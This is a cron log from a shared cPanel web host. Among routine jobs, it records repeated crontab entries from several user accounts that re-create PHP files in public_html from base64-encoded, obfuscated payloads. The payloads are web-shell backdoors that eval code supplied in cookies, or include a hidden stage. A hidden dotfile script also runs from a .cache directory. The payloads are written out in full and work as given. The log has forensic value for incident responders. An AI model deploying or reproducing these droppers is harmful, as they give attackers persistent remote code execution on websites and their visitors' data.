Jun  7 10:06:01 medusa CROND[10521]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:07:02 medusa CROND[12322]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:07:02 medusa CROND[12323]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:07:02 medusa CROND[12324]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:07:02 medusa CROND[12325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:07:02 medusa CROND[12326]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:07:02 medusa CROND[12327]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:07:02 medusa CROND[12328]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:07:02 medusa CROND[12329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:07:02 medusa CROND[12332]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:07:02 medusa CROND[12334]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:07:02 medusa CROND[12337]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:07:02 medusa CROND[12340]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:08:01 medusa CROND[14355]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:08:01 medusa CROND[14389]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 10:08:01 medusa CROND[14394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:08:01 medusa CROND[14395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:08:01 medusa CROND[14396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:08:01 medusa CROND[14397]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:08:01 medusa CROND[14398]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:08:01 medusa CROND[14399]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:08:01 medusa CROND[14400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:08:01 medusa CROND[14402]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:08:01 medusa CROND[14404]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:08:01 medusa CROND[14405]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:08:01 medusa CROND[14408]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:08:01 medusa CROND[14409]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:09:01 medusa CROND[16253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:09:02 medusa CROND[16259]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:09:02 medusa CROND[16295]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:09:02 medusa CROND[16296]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBp